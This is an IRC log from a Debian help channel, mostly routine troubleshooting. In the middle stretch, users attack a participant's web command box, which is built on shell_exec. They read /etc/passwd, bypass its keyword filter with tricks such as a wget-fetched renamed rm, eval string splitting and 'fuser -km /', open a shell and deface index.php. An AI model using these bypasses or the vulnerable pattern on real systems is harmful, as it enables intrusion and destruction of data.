| 21:12.31 | stew | antii: how/where did you insatll the cronjob? |
| 21:13.00 | jhutchins_lt | Tony2998: If you remove that, and delete the stuff you installed manually, then you can confirm that iceweasel doesn't show a flash plugin any more. |
| 21:13.01 | stew | antii: you are probably using a username column somewhere where it isn't used (like a user cronjob) |
| 21:13.18 | jhutchins_lt | Tony2998: That gets rid of 9, and then you should try again to install from backports. |
| 21:13.22 | stew | jhutchins_lt: it should, since he has two different flash plugin packages installed |
| 21:13.41 | jhutchins_lt | stew: At least. |
| 21:14.00 | stew | jhutchins_lt: and what you are saying isn't going to get rid of 9 |
| 21:14.02 | jhutchins_lt | Tony2998: Does this make sense to you? |
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| 21:14.29 | jhutchins_lt | stew: If he removes the debian package and removes the stuff he manually installed? |
| 21:14.56 | stew | jhutchins_lt: which of the two debian packages? the flashplugin-mozilla one that he told us about? |
| 21:15.25 | jhutchins_lt | stew: I though he said dpkg only listed one? |
| 21:15.38 | jhutchins_lt | stew: That's what I was going from. |
| 21:15.43 | stew | jhutchins_lt: yes, becuase you asked him to look for packages only with "flash" in the name |
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| 21:16.17 | stew | jhutchins_lt: then no, that won't get rid of flash 9, that was 10. that would leave him with ONLY a free version supporting 9. the one he is currently using |
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| 21:16.22 | jhutchins_lt | I'll leave it to you then, obviously I'm of more use doing laundry. |
| 21:16.38 | stew | whatever |
| 21:16.40 | Tony2998 | jhutchins_lt this is a clean system with the default install |
| 21:16.43 | stew | i'm not helping with the non-free nonsense |
| 21:17.23 | Rdogg1 | stew: any idea why my images arent displaying in links2 -g? |
| 21:17.34 | stew | Rdogg1: where are you running it? in x? or in a console? |
| 21:17.40 | Rdogg1 | x |
| 21:17.45 | Rdogg1 | but in a remote computer |
| 21:17.51 | Rdogg1 | (Xming) |
| 21:17.53 | Rdogg1 | on windows |
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| 21:18.02 | antii | stew: via crontab -e? |
| 21:18.05 | stew | Rdogg1: i don't know how to use windows, sorry |
| 21:18.27 | stew | antii: then leave off the "antii" user crontabs always run as the user, they don't take a user field (man 5 crontab) |
| 21:18.27 | Rdogg1 | well the problem is on the linux side.. |
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| 21:18.42 | antii | ah |
| 21:18.44 | stew | Rdogg1: how did you determine that it is on the linux side? |
| 21:18.45 | antii | will try. |
| 21:18.55 | antii | can run it without root aswell? if the application allow? |
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| 21:18.58 | Rdogg1 | stew: XMing is just like a ssh -X so it should be.. |
| 21:19.09 | Tony2998 | Thank you jhutchins and all of those that try helping me, I will run the training from my gay windows labtop since Debian does not play nice with Codecs and flash for now. Thank you. I will resist for now going back to ubuntu, I want to learn Debian, that's my goal. |
| 21:19.21 | stew | Rdogg1: so, do other browsers like iceweasel work? |
| 21:19.43 | Rdogg1 | stew: never got iceweasel to work, complains about some C gtk+ problem :/ |
| 21:19.51 | stew | Tony2998: don't use 'gay' as a derrogatory adjective in here, please. it is offensive to many people |
| 21:19.58 | Rdogg1 | stew: (firefox-bin:3015): Gtk-WARNING **: Locale not supported by C library. |
| 21:19.58 | Rdogg1 | <PROTECTED> |
| 21:20.43 | Tony2998 | stew, sorry! didn't mean to offend anyone, you know what I meant to say. |
| 21:21.00 | stew | Tony2998: yes, which is how I knew you meant it to be derrogatory |
| 21:21.18 | stew | Rdogg1: what is an example of an application that CAN display images using this XMing thing? |
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| 21:21.46 | Rdogg1 | stew: i don't know you tell me?, ive only tried to run links -g |
| 21:22.02 | Rdogg1 | stew: and on the physical computer, iceweasel doent work either |
| 21:22.10 | Rdogg1 | stew: the error is above |
| 21:22.22 | stew | Rdogg1: that's not an error, its an ignorable warning |
| 21:22.34 | stew | Rdogg1: how about "xeyes". does that work? |
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| 21:24.17 | Rdogg1 | package name is xeyes? |
| 21:24.23 | stew | Rdogg1: no, it comes with x |
| 21:24.39 | Rdogg1 | yep its working D: |
| 21:24.45 | Rdogg1 | follows my mouse |
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| 21:25.29 | stew | Rdogg1: what terminal emulator are you running "links2 -g" in? |
| 21:25.37 | Rdogg1 | Putty |
| 21:25.44 | Rdogg1 | don't know if your familiar? |
| 21:25.46 | stew | yes |
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| 21:26.07 | stew | Rdogg1: you are running putty on the linux machine or in windows? |
| 21:26.12 | Rdogg1 | windows |
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| 21:26.33 | Rdogg1 | if you want i can go to my server right now and try out links2 for images |
| 21:26.35 | stew | yeah, even if i run putty in linux it doesn't work |
| 21:26.41 | Rdogg1 | :/ |
| 21:26.50 | stew | Rdogg1: try running "links2 -g" in xterm running on linux instead |
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| 21:27.03 | Rdogg1 | alright i brb , its in another room |
| 21:27.10 | stew | Rdogg1: wait. if you are running it in putty, what does that have to do with XMing? |
| 21:27.15 | stew | Rdogg1: no |
| 21:27.22 | stew | Rdogg1: on whatever machine xeyes is working on |
| 21:27.45 | stew | Rdogg1: if putty is running in windows, i'm not sure how that is possibly going to work? |
| 21:27.57 | Rdogg1 | stew: alright, i went to the machine |
| 21:28.03 | stew | Rdogg1: to which machine? |
| 21:28.04 | Rdogg1 | no images even from xterm |
| 21:28.08 | Rdogg1 | the linux one |
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| 21:28.54 | bla | Rdogg1, after you've logged on with putty; what does 'echo $DISPLAY' show? |
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| 21:29.12 | Rdogg1 | localhost:13.0 |
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| 21:29.23 | Rdogg1 | its the location of my XMing X server |
| 21:29.57 | bla | That seems correct. |
| 21:29.58 | stew | it CAN'T work in a putty window |
| 21:30.02 | stew | no, it doesn't |
| 21:30.17 | Rdogg1 | its not in a putty window |
| 21:30.18 | bla | It won't; but Putty forwards X11 protocol to Xming which should be listening locally |
| 21:30.18 | Rdogg1 | lol |
| 21:30.21 | stew | i mean. perhaps it could work in an xterm that is forwarded over that connection |
| 21:30.40 | Rdogg1 | it doesnt even show images on the PHYSICAL machine, from xterm.. |
| 21:30.42 | stew | Rdogg1: realize that links2 needs a terminal emulator, and putty is not a capable enough terminal emulator |
| 21:31.01 | bla | Rdogg1, try xeyes; compare result to xeyes ran after you mess with DISPLAY: export DISPLAY=:666 |
| 21:31.10 | Rdogg1 | xeyes works |
| 21:31.19 | bla | links -g does strange things |
| 21:31.23 | bla | It depends on driver |
| 21:31.25 | _stefanos_ | good evening everyone. Is there any problem with iceweasel 3.5.15? I am using squeeze with the latest updates. the problem is that is does not accept my settings; it keeps on staying in private browsing |
| 21:31.29 | bla | It might try to write to framebuffer not to the X |
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| 21:31.48 | Rdogg1 | well, can you help me fix iceweasel then? |
| 21:31.57 | stew | Rdogg1: what is the problem with iceweasel? |
| 21:32.17 | stew | do you get an error? |
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| 21:32.22 | Rdogg1 | debian:~# iceweasel |
| 21:32.22 | Rdogg1 | (firefox-bin:3081): Gtk-WARNING **: Locale not supported by C library. |
| 21:32.22 | Rdogg1 | <PROTECTED> |
| 21:32.24 | stew | Rdogg1: that is an ignorable warning, its not an error. |
| 21:32.33 | Rdogg1 | but it still doesnt launch |
| 21:32.41 | abrotman | as root? or the user? |
| 21:32.45 | stew | Rdogg1: what happens? does it quit, or keep running? |
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| 21:32.52 | Rdogg1 | i dont have any user, i only have root |
| 21:32.58 | clebig | hi gyes |
| 21:33.00 | clebig | guys |
| 21:33.04 | Rdogg1 | stew looks like it keeps running |
| 21:33.29 | Rdogg1 | oh wait, its working now |
| 21:33.31 | stew | Rdogg1: kill it. are there other iceweasel processes? |
| 21:33.35 | clebig | Do you know if there is a way to mount a hard raid5 without the adatec card used to build it ? A kind of driver or fs working on linux |
| 21:33.37 | clebig | ? |
| 21:34.00 | stew | Rdogg1: if that profile is already started, it just reuses the already existing window (even if it is on a different DISPLAY) |
| 21:34.16 | stew | Rdogg1: and note that you shouldn't be doing this stuff as root |
| 21:34.39 | Rdogg1 | stew: why? |
| 21:34.47 | Rdogg1 | the pc is only for me, and i dont mind if i mess it up |
| 21:35.23 | razieliyo | I've got an ac97 card, but no drivers |
| 21:35.27 | stew | Rdogg1: because when you browse to a malicious site using root, they get to install software on your machine |
| 21:35.28 | razieliyo | there are any drivers in the repositories? |
| 21:35.37 | Rdogg1 | im on a loop, after one distro messes up i move to another, my loop is: Arch Linux, Debian, Red hat Linux |
| 21:35.38 | Rdogg1 | so yeah |
| 21:35.48 | stew | sounds productive |
| 21:36.01 | jelly-home | Rdogg1: all distros mess up sooner or later. Have fun. |
| 21:36.01 | Rdogg1 | i know |
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| 21:39.30 | jhutchins_lt | razieliyo: ac97 are supported by the alsa basics which I believe are now in the kernel. |
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| 21:40.00 | razieliyo | it must be another problem, because I've got it installed and still no sound |
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| 21:40.21 | Rdogg1 | hey guys, can one of you do me a favour? |
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| 21:41.08 | Rdogg1 | could someone go to http://rdogg.homeunix.net and type rk in the command box? to see what it outputs over there? |
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| 21:41.34 | thewanderer1 | Rdogg1: lots o' \n\n\n\n\n if I see well |
| 21:41.49 | Rdogg1 | when you type rk? |
| 21:41.49 | Rdogg1 | :S? |
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| 21:42.15 | thewanderer1 | yeah |
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| 21:42.36 | stew | when I type "cat /etc/passwd" it works. |
| 21:42.59 | razieliyo | but rm -r * doesn't |
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| 21:43.04 | thewanderer1 | Rdogg1: why doesn't "mkdir lolcats" "mv * lolcats" work? :P |
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| 21:44.10 | stew | Rdogg1: you realize how crazy it is to just let anyone on irc execute commands on your webserver, right? |
| 21:44.37 | dkr | maybe it's a honeypot. :) |
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| 21:45.21 | thewanderer1 | Rdogg1: you should really redirect stream 2 (STDERR) to output, too, just saying |
| 21:45.37 | Rdogg1 | huh |
| 21:45.56 | deepy | whoami does return www-data though |
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| 21:46.53 | Rdogg1 | stew: i disabled the most dangerous commands, like rm, dd, and mkfs |
| 21:47.04 | dkr | I actually had to write a program like that once when I was a newb, because I wrote a cgi in c++ and needed to compile it on the web server I only had ftp access to. at least i put a password on it, though. heh |
| 21:47.38 | deepy | Rdogg1: what happens if you attempt an rm? |
| 21:47.50 | thewanderer1 | Rdogg1: oh, I was just executing dd :( |
| 21:48.00 | thewanderer1 | Rdogg1: but it's taking a long time - did you really disable it? |
| 21:48.05 | Rdogg1 | yes i did |
| 21:48.09 | deepy | the page isn't loading here |
| 21:48.10 | Rdogg1 | and what did you run it on? |
| 21:48.16 | stew | Rdogg1: did you disable "wget -O /tmp/rm2 http://foo/rm" "/tmp/rm2 /somefile" |
| 21:48.27 | Rdogg1 | lol no? |
| 21:48.34 | thewanderer1 | Rdogg1: er, I ran it on... random stuff :P |
| 21:48.44 | thewanderer1 | you sure the server's still up? |
| 21:48.58 | Rdogg1 | yep i think |
| 21:49.12 | thewanderer1 | so it just hates me :P |
| 21:49.14 | dkr | he's being #debian-dotted |
| 21:49.36 | deepy | I think I accidently forkbomber your server |
| 21:49.39 | deepy | or not |
| 21:49.40 | Rdogg1 | ah nope |
| 21:49.49 | Rdogg1 | httpd crashed for some reason |
| 21:50.04 | razieliyo | maybe kill -9 |
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| 21:50.32 | Rdogg1 | disabled wget and kill |
| 21:50.32 | Rdogg1 | :D |
| 21:50.34 | dkr | I wonder if it crashing had anything to do with the commands people ran |
| 21:50.48 | deepy | echo shell_exec($_POST['command']); |
| 21:50.59 | Rdogg1 | ? |
| 21:51.02 | thewanderer1 | Rdogg1: "Don't you even think about it" lol |
| 21:51.08 | Rdogg1 | :D |
| 21:51.28 | dkr | cute |
| 21:51.30 | RichiH | does anyone happen to know anything about debian unstable having _really_ bad network connectivity? |
| 21:51.43 | razieliyo | who made the LOL.txt file? |
| 21:51.51 | deepy | is really relying on in string a safe way to stop commands from being execute? |
| 21:52.08 | RichiH | i know how vague this is |
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| 21:52.11 | RichiH | but.... |
| 21:52.28 | razieliyo | hey Rdogg1, are you brazillian? |
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| 21:52.34 | razieliyo | or portugese |
| 21:53.06 | Rdogg1 | Portugese why? |
| 21:53.29 | Rdogg1 | also, run sr in commands :D |
| 21:53.30 | razieliyo | because of primeiro |
| 21:53.35 | Rdogg1 | what? |
| 21:53.36 | Rdogg1 | :O? |
| 21:53.43 | razieliyo | a video |
| 21:54.07 | razieliyo | lol |
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| 21:54.14 | Rdogg1 | :O? |
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| 21:54.27 | razieliyo | I'll try nexuiz |
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| 21:54.30 | razieliyo | now that I've got sound |
| 21:54.58 | Rdogg1 | also try running "christmas" |
| 21:55.04 | Rdogg1 | too bad php doesnt support bash colors |
| 21:55.04 | Rdogg1 | lol |
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| 21:55.49 | thewanderer1 | Rdogg1: not to worry you, but I just got a shell... |
| 21:55.52 | dkr | try fuser -km / # was just thinking of others way to send a signal without using the string "kill" |
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| 21:56.11 | Rdogg1 | Rdogg1 wat? |
| 21:56.30 | thewanderer1 | Rdogg1: yes, I'm in your bash :P |
| 21:56.42 | Rdogg1 | lol wat? |
| 21:56.55 | dkr | thewanderer1: heh, did you use nc -l ? |
| 21:57.04 | thewanderer1 | dkr: no, he's got a firewall |
| 21:58.17 | dkr | I was never really interested in cracking, but I suppose it is a good exercise to think about every once in a while for a sysadmin, :) |
| 21:58.59 | thewanderer1 | hint: firewall for incoming connections is useless without a firewall for outgoing connections when you allow random strangers to execute commands remotely :P |
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| 21:59.01 | stew | thewanderer1: heh, did you set the permissions of /var/www to 777? |
| 21:59.14 | thewanderer1 | stew: no, that's not possible, the user is www-data |
| 21:59.22 | stew | someone did |
| 21:59.24 | dkr | ssh tunnel? |
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| 21:59.33 | thewanderer1 | "almost" |
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| 21:59.41 | thewanderer1 | but, since you mention... |
| 21:59.46 | dkr | heh |
| 21:59.54 | thewanderer1 | what command was that? reverse SSH? :P |
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| 22:00.40 | thewanderer1 | Rdogg1: but all in all, it's a nice machine :P |
| 22:00.45 | dkr | ssh -R 2222:localhost:2222 |
| 22:00.56 | Rdogg1 | your saying a Pentium 4 is nice :D? |
| 22:00.56 | Rdogg1 | lol |
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| 22:01.57 | thewanderer1 | dkr: I'd have to log on, right? that's not neat :P |
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| 22:02.36 | Rdogg1 | thewanderer1: btw dont do shizz on my box |
| 22:02.36 | Rdogg1 | lol |
| 22:02.56 | thewanderer1 | Rdogg1: I know, I'm only looking around :P |
| 22:03.01 | Rdogg1 | :D |
| 22:03.05 | thewanderer1 | hope you don't mind 20MB of crap in /tmp |
| 22:03.26 | Rdogg1 | who was the funny bastard -.-? |
| 22:03.31 | Rdogg1 | "tits or gtfo" |
| 22:03.38 | thewanderer1 | where? :P |
| 22:03.42 | Rdogg1 | index.php |
| 22:03.43 | Rdogg1 | T_T |
| 22:03.52 | thewanderer1 | aww, I thought it wasn't writable |
| 22:03.56 | deepy | Same |
| 22:03.56 | rysiek|pl | if I may, I would vote for "tits", please |
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| 22:04.13 | dkr | hrm, this reminds me of something I tried ages ago. it was like a cracking challenge with a bunch of different levels. e.g. you found a suid script hidden somewhere in /dev owned by user2 to you could get from user1 to user2, and so on |
| 22:04.18 | thewanderer1 | man, this is insane |
| 22:04.28 | thewanderer1 | who would've set 0777 permissions for files? :P |
| 22:04.40 | rysiek|pl | boeing? |
| 22:04.40 | deepy | php files |
| 22:04.42 | compgenius999 | wait wat, i thought #debian were sane people |
| 22:04.48 | compgenius999 | i guess ur /b/ in reality |
| 22:04.56 | Rdogg1 | :O |
| 22:05.02 | rysiek|pl | de/b/ian? |
| 22:05.13 | Rdogg1 | CANNOT UNSEE |
| 22:05.25 | rysiek|pl | CARROT UND SEA |
| 22:05.28 | dkr | compgenius999: /b/ memes tend to spread. I only looked in /b/ once ages ago, and withdrew my scarred eyeballs never to return |
| 22:05.37 | Rdogg1 | LOL |
| 22:05.42 | rysiek|pl | ROR |
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| 22:06.40 | Rdogg1 | "rk" and "sr" are epic commands |
| 22:06.41 | Rdogg1 | run them |
| 22:07.07 | thewanderer1 | nothing happens :P |
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| 22:07.12 | Rdogg1 | do you have flash? |
| 22:07.28 | thewanderer1 | well, I thought you meant on your machine |
| 22:07.55 | Rdogg1 | on the browser |
| 22:07.56 | Rdogg1 | lol |
| 22:09.14 | razieliyo | leaving |
| 22:09.29 | thewanderer1 | sorry, I don't use emacs for browsing :P |
| 22:09.34 | Rdogg1 | lo |
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| 22:10.56 | Rdogg1 | k closed my site |
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| 22:12.33 | osbert | Hi, anybody have any ideas as to how I messed up my system such that I can do DNS lookups for everything except *debian.org? Note that I can ping the IP address for ns1.debian.org and all other Debian servers. It also seems to be independent of the DNS server I instruct host to use. host debian.org 4.2.2.1 just says that the connection timed out, no servers could be reached, but host ^debian.org 4.2.2.1 works. :/ |
| 22:12.43 | deepy | Rdogg1: aaaw, I figured out how to rm |
| 22:13.00 | Rdogg1 | deepy how |
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| 22:14.48 | thewanderer1 | I'd guess sth like COMMAND="r"'m'; eval $COMMAND |
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| 22:15.13 | Bushmills | osbert: install dig (from dnsutils), and do dig @4.2.2.1 debian.org |
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| 22:16.45 | sacul | oi |
| 22:17.04 | sacul | hi |
| 22:17.09 | osbert | Bushmills: Thanks. So the good news is it returns a response, the bad news is that it doesn't return the full A record. Can I PM you the full dig output? |
| 22:17.25 | Bushmills | before you try, do dig debian.org |
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| 22:18.03 | Bushmills | ehm .. before you do, try... . also, pastebin the output, and put link into channel |
| 22:18.51 | osbert | Bushmills: dig debian.org timed out. |
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| 22:19.14 | Bushmills | and dig google.com ? |
| 22:19.36 | osbert | http://paste.debian.net/101683/ |
| 22:20.14 | osbert | dig google.com returns in 1ms with the full correct record |
| 22:21.26 | Bushmills | i think you have a local forwarding resolver, which still delivers cached records, but for unknown reason (you played with iptables?) can forward requests anymore. |
| 22:21.37 | Bushmills | can't ... |
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| 22:23.23 | osbert | But shouldn't something like dig @4.2.2.1 bypass all that and result in a direct UDP packet to 4.2.2.1? |
| 22:23.46 | Bushmills | but the reply was "SERVFAIL" |
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| 22:24.11 | Bushmills | try, as referece, dig @8.8.8.8 google.com and dig @8.8.8.8 debian.org |
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| 22:24.55 | thewanderer1 | Rdogg1: good news: you're not susceptible to Wunderbar exploit |
| 22:25.13 | thewanderer1 | Rdogg1: bad news: if I ran a fork bomb now, you'd be in trouble |
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| 22:29.58 | osbert | dig @8.8.8.8 google.com and dig@8.8.8.8 debian.org http://paste.debian.net/101685/ |
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| 22:38.51 | osbert | Bushmills: Thanks for your insight, I have fixed the problem even though I'm not exactly sure how it occurred. My WRT54G running Tomato was indeed running a DNS forwarder and intercepting DNS requests, even though this configuration has not been touched in forever rebooting it also did not work but I've gotten around it by just disabling those features for now. |
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| 22:41.40 | CaT[t3] | hi. I'm hoping someone can help. There's a utility that measured the rate of transfer in a pipe between two others. I'v eused it before but it's been so long that I can't even remember the search terms that allowed me to find it in the first place. 8( |
| 22:42.19 | Bushmills | CaT[t3]: pipemeter |
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| 22:44.20 | CaT[t3] | bushmills: thanks. debian packaged equivalent appears to be pv :) |
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| 22:44.57 | Bushmills | ,versions pipemeter pv |
| 22:44.59 | judd | Package pipemeter on i386 -- sid: 1.1.3-1 |
| 22:45.09 | Bushmills | ah, my bad. |
| 22:45.09 | CaT[t3] | not in squeeze |
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| 22:46.35 | CaT[t3] | is all good :) time to test the switch :) |
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| 22:56.11 | Mowee | Gnight |
| 22:56.29 | Raptors | Have any of you guys gotten Samba working? |
| 22:56.51 | justgparted | hi, can somebody explain where do i get a UUID for a partition to use in fstab ?? |
| 22:56.59 | Raptors | I did "useradd" and "smbpasswd -a user" but I can't connect to the folder |
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| 22:57.07 | Raptors | it's acting like the password is wrong |
| 22:57.15 | Raptors | http://pastebin.ca/2012405 |
| 22:57.22 | Raptors | That's my samba.conf |
| 22:57.26 | Raptors | smb.conf |
| 22:57.44 | daemonkeeper | I think you must enable the user with smbpasswd too |
| 22:58.39 | Raptors | how do I do that? |
| 22:58.46 | jhutchins_lt | Raptors: I've been running samba for around ten years. There are issues with w7, but otherwise it works fine. |
| 22:59.08 | Raptors | I'm having issues connecting to it from debian |
| 22:59.17 | Raptors | :\ |
| 22:59.34 | daemonkeeper | I think -e. Consult the man page. |
| 22:59.47 | jhutchins_lt | Raptors: What client are you using? Does smbclient -L \\server work? |
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| 23:00.38 | Raptors | jhutchins_lt, yes |
| 23:00.47 | jhutchins_lt | Raptors: What does not work? |
| 23:01.00 | acemi | justgparted: ls -l /dev/disk/by-uuid/ |
| 23:01.02 | Raptors | When I try to connect to "Videos" folder |
| 23:01.36 | jhutchins_lt | Raptors: so you can do smbclient -L \\server but not \\server |
| 23:01.43 | jhutchins_lt | er \\server\Videos? |
| 23:02.53 | Raptors | jhutchins_lt, http://pastebin.ca/2012417 |
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| 23:03.15 | Raptors | I get the same output as before |
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| 23:05.35 | jhutchins_lt | Raptors: Sorry smbclient //debian/Videos/ |
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| 23:06.49 | Raptors | Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.5.6] |
| 23:06.50 | Raptors | tree connect failed: NT_STATUS_ACCESS_DENIED |
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| 23:09.12 | jhutchins_lt | Did you create a machine account? |
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| 23:24.06 | SuperAlekZ | hey :/ |
| 23:24.13 | SuperAlekZ | anyone who could help with mod_rewrite? |
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| 23:26.25 | innerself | does the debian 5.07 net install cd come with ndiswrapper? |
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| 23:27.03 | jhutchins_lt | innerself: I think it's deprecated |
| 23:27.09 | jhutchins_lt | ,versions ndiswrapper |
| 23:27.11 | judd | Sorry, no package named 'ndiswrapper' was found in i386. |
| 23:27.34 | jhutchins_lt | innerself: Most cards have native support these days. |
| 23:28.17 | innerself | ok, its a dlink wireless usb adapter |
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| 23:30.10 | SuperAlekZ | how can i get my website work with nice permalinks from wordpress but at the same time having an independent forum at /forum when mod_rewrite has to be active because of the permalinks for wordpress? :/ |
| 23:30.20 | eshat | How usable is e17 in it's current state ? |
| 23:30.26 | stew | judd: versions ndiswrapper-source |
| 23:30.28 | eshat | It's been beta for montth now |
| 23:30.28 | judd | Package ndiswrapper-source on i386 -- etch: 1.28-1+etch1; etch-security: 1.28-1+etch1; lenny: 1.53-2; squeeze: 1.56-1; sid: 1.56-3 |
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| 23:30.51 | stew | innerself: no, it wouldn't come with ndiswrapper, you'd probably have to make a custom installer |
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| 23:32.20 | HollyRain | hi! how to pass an argument to a script interpreter? "#!/usr/bin/env script -arg" doesn't works |
| 23:32.47 | innerself | thanks stew |
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| 23:42.14 | stew | innerself: what card do you need support for? i'd be suprised if you really needed ndiswrapper |
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| 23:45.46 | compgenius999 | innerself, you still here? |
| 23:45.49 | innerself | stew: im not at home at the moment, so Im not sure of the exact model number. Its a usb wifi adapter.. |
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| 23:46.09 | compgenius999 | innerself, that's not much help, it's a D-Link wifi adapater connected via USB |
| 23:46.28 | compgenius999 | when you get home you need to type "lsusb -v" and pastebin the section for the wifi adapter |
| 23:46.54 | innerself | no problem. thanks for the advice. |
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| 23:47.09 | stew | innerself: most likely there is a native linux driver instead of stooping to using a windows driver |
| 23:47.52 | compgenius999 | stew, I had a hard time finding a working driver for my card, but eventually I found out that my card happily works with the generic prism54 (p54usb/isl3887usb) module :) |
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| 23:56.30 | CaT[t3] | hmmm. 118MB/sec tcp between two ports :) |
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| 23:59.33 | KaffeeJunky123 | on debian squeeze mplayer is having an accessviolation error when I'm trying to stream an internetradio |
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| 23:59.49 | KaffeeJunky123 | so I started it with strace and it streamed the radio o_O |